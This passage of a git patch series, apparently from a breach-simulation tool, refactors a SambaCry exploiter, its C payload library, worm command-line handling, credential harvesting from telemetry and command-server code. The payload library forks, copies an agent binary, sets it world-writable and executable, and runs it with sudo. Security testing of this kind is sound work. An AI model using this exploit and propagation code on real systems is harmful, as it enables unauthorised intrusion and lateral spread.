== "6") and (samba_version_parts[1] <= "3"): is_vulnerable = True - LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" % - (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable))) + LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % + (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) return is_vulnerable @@ -244,7 +239,6 @@ class SambaCryExploiter(HostExploiter): :param smb_client: smb client object :param host: victim Host object :param share: share name - :param monkey_bin_src_path: src path of monkey binary to upload :param depth: current depth of monkey """ tree_id = smb_client.connectTree(share) @@ -305,7 +299,7 @@ class SambaCryExploiter(HostExploiter): try: # the extra / on the beginning is required for the vulnerability - self.openPipe(smb_client, "/" + module_path) + self.open_pipe(smb_client, "/" + module_path) except (impacket.smbconnection.SessionError, SessionError) as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: @@ -321,25 +315,22 @@ class SambaCryExploiter(HostExploiter): :param share_name: Name of the share :return: Array of possible full paths to the module. """ - possible_paths = [] - - for folder_path in self._config.sambacry_folder_paths_to_guess: - for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]: - possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name)) - return possible_paths + sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess + file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] + return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb") + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb") else: - return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb") + return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb") def get_monkey_commandline_file(self, host, depth, location): return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): @@ -385,7 +376,7 @@ class SambaCryExploiter(HostExploiter): # In our case, str(FileID) return str(createResponse['FileID']) - def openPipe(self, smb_client, pathName): + def open_pipe(self, smb_client, pathName): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') @@ -415,5 +406,5 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 97ed8cb8b..2e8aa4fa5 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -442,33 +442,47 @@ def get_target_monkey(host): return monkey_path + def get_target_monkey_by_os(is_windows, is_32bit): from control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline(target_host, depth, location=None): - from config import WormConfiguration, GUID +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): cmdline = "" - cmdline += " -p " + GUID - - if target_host.default_tunnel: - cmdline += " -t " + target_host.default_tunnel - if target_host.default_server: - cmdline += " -s " + target_host.default_server - if depth < 0: - depth = 0 - - cmdline += " -d %d" % depth + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth if location is not None: cmdline += " -l %s" % location return cmdline +def build_monkey_commandline(target_host, depth, location=None): + from config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, 'user': user, 'password': password}) + + +def get_binaries_dir_path(): + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 4f65298e0..e34ab7c36 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -7,11 +7,11 @@ #include "sc_monkey_runner.h" #ifdef __x86_64__ - #define ARC_IS_64 + #define ARCH_IS_64 #endif #ifdef _____LP64_____ - #define ARC_IS_64 + #define ARCH_IS_64 #endif #define LINE_MAX_LENGTH (2048) @@ -19,7 +19,7 @@ int samba_init_module(void) { -#ifdef ARC_IS_64 +#ifdef ARCH_IS_64 const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; const char MONKEY_NAME[] = "monkey64"; const char MONKEY_COPY_NAME[] = "monkey64_2"; @@ -30,23 +30,24 @@ int samba_init_module(void) #endif const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; - const char ACCESS_MODE_STRING[] = "0777"; + const int ACCESS_MODE_STRING = 0777; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; - char modulePathLine[LINE_MAX_LENGTH]; + char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'}; - char* monkeyDirectory; - char* fileNamePointer; - int accessMode; - FILE * pFile; + char* monkeyDirectory = NULL; + char* fileNamePointer = NULL; + int accessMode = 0; + FILE * pFile = NULL; pid_t pid = 0; - int monkeySize; - void* monkeyBinary; + int monkeySize = 0; + void* monkeyBinary = NULL; + struct stat fileStats; pid = fork(); - if (pid != 0) + if (0 != pid) { // error or this is parent - nothing to do but return. return 0; @@ -54,7 +55,7 @@ int samba_init_module(void) // Find fullpath of running module. pFile = fopen("/proc/self/maps", "r"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } @@ -70,7 +71,7 @@ int samba_init_module(void) fclose(pFile); // We can't find ourselves in module list - if (found == 0) + if (0 == found) { return 0; } @@ -78,14 +79,14 @@ int samba_init_module(void) monkeyDirectory = strchr(modulePathLine, '/'); *fileNamePointer = '\0'; - if (chdir(monkeyDirectory) < 0) + if (0 != chdir(monkeyDirectory)) { return 0; } // Write file to indicate we're running pFile = fopen(RUNNER_RESULT_FILENAME, "w"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } @@ -95,44 +96,37 @@ int samba_init_module(void) // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } // Build commandline - strcpy(commandline, RUN_MONKEY_CMD); - strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME); - commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' '; + strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); + strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1); + strncat(commandline, " ", 1); - fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile); + fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fclose(pFile); + if (0 != stat(MONKEY_NAME, &fileStats)) + { + return 0; + } + + monkeySize = (int)fileStats.st_size; + // Copy monkey to new file so we'll own it. pFile = fopen(MONKEY_NAME, "rb"); - if (pFile == NULL) + if (NULL == pFile) { return 0; } - if (0 != fseek (pFile, 0 ,SEEK_END)) - { - return 0; - } - - monkeySize = ftell(pFile); - - if (-1 == monkeySize) - { - return 0; - } - - rewind(pFile); - monkeyBinary = malloc(monkeySize); - if (0 == monkeyBinary) + if (NULL == monkeyBinary) { return 0; } @@ -141,7 +135,7 @@ int samba_init_module(void) fclose(pFile); pFile = fopen(MONKEY_COPY_NAME, "wb"); - if (pFile == NULL) + if (NULL == pFile) { free(monkeyBinary); return 0; @@ -151,8 +145,7 @@ int samba_init_module(void) free(monkeyBinary); // Change monkey permissions - accessMode = strtol(ACCESS_MODE_STRING, 0, 8); - if (chmod(MONKEY_COPY_NAME, accessMode) < 0) + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING)) { return 0; } From 3014763e99c01c542118932f266525a5d6bf11b9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Sep 2017 15:41:36 +0300 Subject: [PATCH 16/32] minor fixes --- chaos_monkey/dropper.py | 2 +- chaos_monkey/exploit/sambacry.py | 2 +- .../monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c | 5 ++--- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index e56cc0a12..6d4133557 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -96,7 +96,7 @@ class MonkeyDrops(object): LOG.warn("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) + self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index 68d1ab1a3..22b3a3f2b 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -317,7 +317,7 @@ class SambaCryExploiter(HostExploiter): """ sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64] - return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)] + return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)] def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index e34ab7c36..e23d08f3a 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -30,7 +30,7 @@ int samba_init_module(void) #endif const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; - const int ACCESS_MODE_STRING = 0777; + const int ACCESS_MODE = 0777; const char RUN_MONKEY_CMD[] = "sudo ./"; int found = 0; @@ -38,7 +38,6 @@ int samba_init_module(void) char commandline[LINE_MAX_LENGTH] = {'\0'}; char* monkeyDirectory = NULL; char* fileNamePointer = NULL; - int accessMode = 0; FILE * pFile = NULL; pid_t pid = 0; int monkeySize = 0; @@ -145,7 +144,7 @@ int samba_init_module(void) free(monkeyBinary); // Change monkey permissions - if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING)) + if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE)) { return 0; } From 024ebfcbe6035292a875a5505240e026558fa1c8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 4 Sep 2017 16:36:15 +0300 Subject: [PATCH 17/32] minor fix --- chaos_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index d8889f1c5..cfda27913 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -223,7 +223,7 @@ class Configuration(object): # Timeout (in seconds) for sambacry's trigger to yield results. sambacry_trigger_timeout = 5 # Folder paths to guess share lies inside. - sambacry_folder_paths_to_guess = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] # Shares to not check if they're writable. sambacry_shares_not_to_check = ["IPC$", "print$"] # Name of file which contains the monkey's commandline From e2f9d190222b9adb332e278a44e1e9b59b40b499 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 5 Sep 2017 17:51:26 +0300 Subject: [PATCH 18/32] Fixed invalid JSON --- chaos_monkey/example.conf | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 4612263cb..4396cae34 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -59,18 +59,18 @@ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, "exploit_user_list": [], - "exploit_password_list": [], - sambacry_trigger_timeout: 5, - sambacry_folder_paths_to_guess: ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'], - sambacry_shares_not_to_check: ["IPC$", "print$"], - sambacry_commandline_filename: "monkey_commandline.txt", - sambacry_runner_result_filename: "monkey_runner_result", - sambacry_runner_filename_32: "sc_monkey_runner32.so", - sambacry_runner_filename_64: "sc_monkey_runner64.so", - sambacry_monkey_filename_32: "monkey32", - sambacry_monkey_filename_64: "monkey64", - sambacry_monkey_copy_filename_32: "monkey32_2", - sambacry_monkey_copy_filename_64: "monkey64_2", + "exploit_password_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "sambacry_commandline_filename": "monkey_commandline.txt", + "sambacry_runner_result_filename": "monkey_runner_result", + "sambacry_runner_filename_32": "sc_monkey_runner32.so", + "sambacry_runner_filename_64": "sc_monkey_runner64.so", + "sambacry_monkey_filename_32": "monkey32", + "sambacry_monkey_filename_64": "monkey64", + "sambacry_monkey_copy_filename_32": "monkey32_2", + "sambacry_monkey_copy_filename_64": "monkey64_2", "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 200, From 3889aec97534831d971e1d014d00ac9b59cf8352 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 5 Sep 2017 18:07:05 +0300 Subject: [PATCH 19/32] Add shebang --- chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh index d1cfd5545..900855a6c 100644 --- a/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh +++ b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh @@ -1,2 +1,3 @@ +#!/usr/bin/env bash gcc -c -Wall -Werror -fpic sc_monkey_runner.c gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o From 91581d00ab1c60e8cbeb416cac46d59308d29842 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 6 Sep 2017 14:49:58 +0300 Subject: [PATCH 20/32] Seperated logic from entry points Node/Edge queries return minimal information necessary. already formatted. Add MonkeyIsland to NetMap --- monkey_island/cc/app.py | 5 +- monkey_island/cc/island_config.py | 4 + monkey_island/cc/main.py | 5 +- monkey_island/cc/resources/local_run.py | 19 ++- monkey_island/cc/resources/monkey.py | 8 +- monkey_island/cc/resources/netmap.py | 8 +- monkey_island/cc/resources/telemetry.py | 134 +++++++++++---------- monkey_island/cc/services/edge.py | 59 ++++++++-- monkey_island/cc/services/node.py | 148 ++++++++++++++++++------ 9 files changed, 258 insertions(+), 132 deletions(-) create mode 100644 monkey_island/cc/island_config.py diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 6ca21cab8..21eea154a 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -18,8 +18,6 @@ from cc.resources.root import Root __author__ = 'Barak' -# TODO: separate logic from resources - def serve_static_file(path): print 'requested', path if path.startswith('api/'): @@ -28,6 +26,7 @@ def serve_static_file(path): def serve_home(): + # TODO: remove this or merge with frontend. return serve_static_file('index.html') @@ -75,7 +74,7 @@ def init_app(mongo_url): api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', - '/api/monkey/download/') + '/api/monkey/download/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') diff --git a/monkey_island/cc/island_config.py b/monkey_island/cc/island_config.py new file mode 100644 index 000000000..c53d27004 --- /dev/null +++ b/monkey_island/cc/island_config.py @@ -0,0 +1,4 @@ +__author__ = 'itay.mizeretz' + +ISLAND_PORT = 5000 +DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index ad3156431..b1b240f8b 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -9,10 +9,9 @@ if BASE_PATH not in sys.path: from cc.app import init_app from cc.utils import init_collections, local_ip_addresses +from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT -ISLAND_PORT = 5000 -DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" - +# TODO: remove this, and get from global config` INITIAL_USERNAMES = ['Administrator', 'root', 'user'] INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] diff --git a/monkey_island/cc/resources/local_run.py b/monkey_island/cc/resources/local_run.py index ef89d400e..1923f948f 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey_island/cc/resources/local_run.py @@ -7,8 +7,8 @@ from flask import request, jsonify, make_response import flask_restful from cc.resources.monkey_download import get_monkey_executable - -from cc.utils import local_ips +from cc.island_config import ISLAND_PORT +from cc.services.node import NodeService __author__ = 'Barak' @@ -21,7 +21,7 @@ def run_local_monkey(island_address): # get the monkey executable suitable to run on the server result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) if not result: - return (False, "OS Type not found") + return False, "OS Type not found" monkey_path = os.path.join('binaries', result['filename']) target_path = os.path.join(os.getcwd(), result['filename']) @@ -30,8 +30,8 @@ def run_local_monkey(island_address): try: copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) - except Exception, exc: - return (False, "Copy file failed: %s" % exc) + except Exception as exc: + return False, "Copy file failed: %s" % exc # run the monkey try: @@ -39,16 +39,15 @@ def run_local_monkey(island_address): if sys.platform == "win32": args = "".join(args) pid = subprocess.Popen(args, shell=True).pid - except Exception, exc: - return (False, "popen failed: %s" % exc) + except Exception as exc: + return False, "popen failed: %s" % exc - return (True, "pis: %s" % pid) + return True, "pis: %s" % pid class LocalRun(flask_restful.Resource): def get(self): - # TODO implement is_running from db monkeys collection - return jsonify(is_running=False) + return jsonify(is_running=(NodeService.get_monkey_island_monkey() is not None)) def post(self): body = json.loads(request.data) diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index eb936a066..90eddd015 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -1,7 +1,7 @@ import json from datetime import datetime, timedelta -import dateutil +import dateutil.parser from flask import request import flask_restful @@ -116,9 +116,9 @@ class Monkey(flask_restful.Resource): existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) if existing_node: - id = existing_node["_id"] - for edge in mongo.db.edge.find({"to": id}): + node_id = existing_node["_id"] + for edge in mongo.db.edge.find({"to": node_id}): mongo.db.edge.update({"_id": edge["_id"]}, {"$set": {"to": new_monkey_id}}) - mongo.db.node.remove({"_id": id}) + mongo.db.node.remove({"_id": node_id}) return {"id": new_monkey_id} diff --git a/monkey_island/cc/resources/netmap.py b/monkey_island/cc/resources/netmap.py index f62c3fbe8..f5ad4d06e 100644 --- a/monkey_island/cc/resources/netmap.py +++ b/monkey_island/cc/resources/netmap.py @@ -1,5 +1,6 @@ import flask_restful +from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.database import mongo @@ -11,10 +12,15 @@ class NetMap(flask_restful.Resource): monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})] nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})] edges = [self.edge_to_net_edge(x) for x in mongo.db.edge.find({})] + monkey_island = [] + if NodeService.get_monkey_island_monkey() is None: + monkey_island = [NodeService.get_monkey_island_pseudo_net_node()] + # TODO: implement when monkey exists on island + edges += EdgeService.get_monkey_island_pseudo_edges() return \ { - "nodes": monkeys + nodes, + "nodes": monkeys + nodes + monkey_island, "edges": edges } diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 311039b59..bfc38c582 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,11 +1,14 @@ import json from datetime import datetime +import traceback import dateutil from flask import request import flask_restful from cc.database import mongo +from cc.services.edge import EdgeService +from cc.services.node import NodeService from cc.utils import creds_add_username, creds_add_password @@ -38,74 +41,62 @@ class Telemetry(flask_restful.Resource): telemetry_json['timestamp'] = datetime.now() telem_id = mongo.db.telemetry.insert(telemetry_json) + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - # update exploited monkeys parent try: if telemetry_json.get('telem_type') == 'tunnel': - if telemetry_json['data']: - host = telemetry_json['data'].split(":")[-2].replace("//", "") - tunnel_host = mongo.db.monkey.find_one({"ip_addresses": host}) - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$set': {'tunnel_guid': tunnel_host.get('guid'), - 'modifytime': datetime.now()}}, - upsert=False) - else: - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$unset': {'tunnel_guid': ''}, - '$set': {'modifytime': datetime.now()}}, - upsert=False) + self.process_tunnel_telemetry(telemetry_json) elif telemetry_json.get('telem_type') == 'state': - if telemetry_json['data']['done']: - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$set': {'dead': True, 'modifytime': datetime.now()}}, - upsert=False) - else: - mongo.db.monkey.update({"guid": telemetry_json['monkey_guid']}, - {'$set': {'dead': False, 'modifytime': datetime.now()}}, - upsert=False) + self.process_state_telemetry(telemetry_json) elif telemetry_json.get('telem_type') in ['scan', 'exploit']: - dst_ip = telemetry_json['data']['machine']['ip_addr'] - src_monkey = mongo.db.monkey.find_one({"guid": telemetry_json['monkey_guid']}) - dst_monkey = mongo.db.monkey.find_one({"ip_addresses": dst_ip}) - if dst_monkey: - edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_monkey["_id"]}) - - if edge is None: - edge = self.insert_edge(src_monkey["_id"], dst_monkey["_id"]) - - else: - dst_node = mongo.db.node.find_one({"ip_addresses": dst_ip}) - if dst_node is None: - dst_node_insert_result = mongo.db.node.insert_one({"ip_addresses": [dst_ip]}) - dst_node = mongo.db.node.find_one({"_id": dst_node_insert_result.inserted_id}) - - edge = mongo.db.edge.find_one({"from": src_monkey["_id"], "to": dst_node["_id"]}) - - if edge is None: - edge = self.insert_edge(src_monkey["_id"], dst_node["_id"]) - - if telemetry_json.get('telem_type') == 'scan': - self.add_scan_to_edge(edge, telemetry_json) - else: - self.add_exploit_to_edge(edge, telemetry_json) - - except StandardError as e: - pass - - # Update credentials DB - try: - if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')): - creds = telemetry_json['data']['credentials'] - for user in creds: - creds_add_username(user) - - if creds[user].has_key('password'): - creds_add_password(creds[user]['password']) + self.process_scan_exploit_telemetry(telemetry_json) + elif telemetry_json.get('telem_type') == 'system_info_collection': + self.process_system_info_telemetry(telemetry_json) + NodeService.update_monkey_modify_time(monkey["_id"]) except StandardError as ex: - print("Exception caught while updating DB credentials: %s" % str(ex)) + print("Exception caught while processing telemetry: %s" % str(ex)) + traceback.print_exc() return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) + def process_tunnel_telemetry(self, telemetry_json): + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] + NodeService.unset_all_monkey_tunnels(monkey_id) + if telemetry_json['data']: + host = telemetry_json['data'].split(":")[-2].replace("//", "") + tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id) + + def process_state_telemetry(self, telemetry_json): + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + if telemetry_json['data']['done']: + NodeService.set_monkey_dead(monkey, True) + else: + NodeService.set_monkey_dead(monkey, False) + + def process_scan_exploit_telemetry(self, telemetry_json): + dst_ip = telemetry_json['data']['machine']['ip_addr'] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_node = NodeService.get_monkey_by_ip(dst_ip) + if dst_node is None: + dst_node = NodeService.get_or_create_node(dst_ip) + + edge = EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + + if telemetry_json.get('telem_type') == 'scan': + self.add_scan_to_edge(edge, telemetry_json) + else: + self.add_exploit_to_edge(edge, telemetry_json) + + def process_system_info_telemetry(self, telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + for user in creds: + creds_add_username(user) + + if 'password' in creds[user]: + creds_add_password(creds[user]['password']) + def add_scan_to_edge(self, edge, telemetry_json): data = telemetry_json['data']['machine'] data.pop("ip_addr") @@ -120,6 +111,22 @@ class Telemetry(flask_restful.Resource): {"$push": {"scans": new_scan}} ) + node = mongo.db.node.find_one({"_id": edge["to"]}) + if node is not None: + if new_scan["scanner"] == "TcpScanner": + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) + + + + def add_exploit_to_edge(self, edge, telemetry_json): data = telemetry_json['data'] data["machine"].pop("ip_addr") @@ -134,12 +141,3 @@ class Telemetry(flask_restful.Resource): {"$push": {"exploits": new_exploit}} ) - def insert_edge(self, from_id, to_id): - edge_insert_result = mongo.db.edge.insert_one( - { - "from": from_id, - "to": to_id, - "scans": [], - "exploits": [] - }) - return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id}) diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index 12dfd9559..e1811bef9 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -6,6 +6,9 @@ __author__ = "itay.mizeretz" class EdgeService: + def __init__(self): + pass + @staticmethod def get_displayed_edge_by_id(edge_id): edge = mongo.db.edge.find({"_id": ObjectId(edge_id)})[0] @@ -26,11 +29,10 @@ class EdgeService: os = {} exploits = [] if len(edge["scans"]) > 0: - services = edge["scans"][-1]["data"]["services"] + services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"]) os = edge["scans"][-1]["data"]["os"] for exploit in edge["exploits"]: - new_exploit = EdgeService.exploit_to_displayed_exploit(exploit) if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]): @@ -66,18 +68,14 @@ class EdgeService: def exploit_to_displayed_exploit(exploit): user = "" password = "" - result = False # TODO: implement for other exploiters - + # TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt. + result = exploit["data"]["result"] if exploit["exploiter"] == "RdpExploiter": - # TODO: check if there could be multiple creds - result = exploit["data"]["result"] user = exploit["data"]["machine"]["creds"].keys()[0] password = exploit["data"]["machine"]["creds"][user] - elif exploit["exploiter"] == "SmbExploiter": - result = exploit["data"]["result"] if result: user = exploit["data"]["machine"]["cred"].keys()[0] password = exploit["data"]["machine"]["cred"][user] @@ -91,4 +89,47 @@ class EdgeService: "user": user, "password": password, "result": result, - } \ No newline at end of file + } + + @staticmethod + def insert_edge(from_id, to_id): + edge_insert_result = mongo.db.edge.insert_one( + { + "from": from_id, + "to": to_id, + "scans": [], + "exploits": [], + "tunnel": False + }) + return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id}) + + @staticmethod + def get_or_create_edge(edge_from, edge_to): + tunnel_edge = mongo.db.edge.find_one({"from": edge_from, "to": edge_to}) + if tunnel_edge is None: + tunnel_edge = EdgeService.insert_edge(edge_from, edge_to) + + return tunnel_edge + + @staticmethod + def get_monkey_island_pseudo_edges(): + edges = [] + monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) if "tunnel" not in x] + # TODO: find solution for these ids. + count = 0 + for monkey_id in monkey_ids: + count += 1 + edges.append( + { + "id": 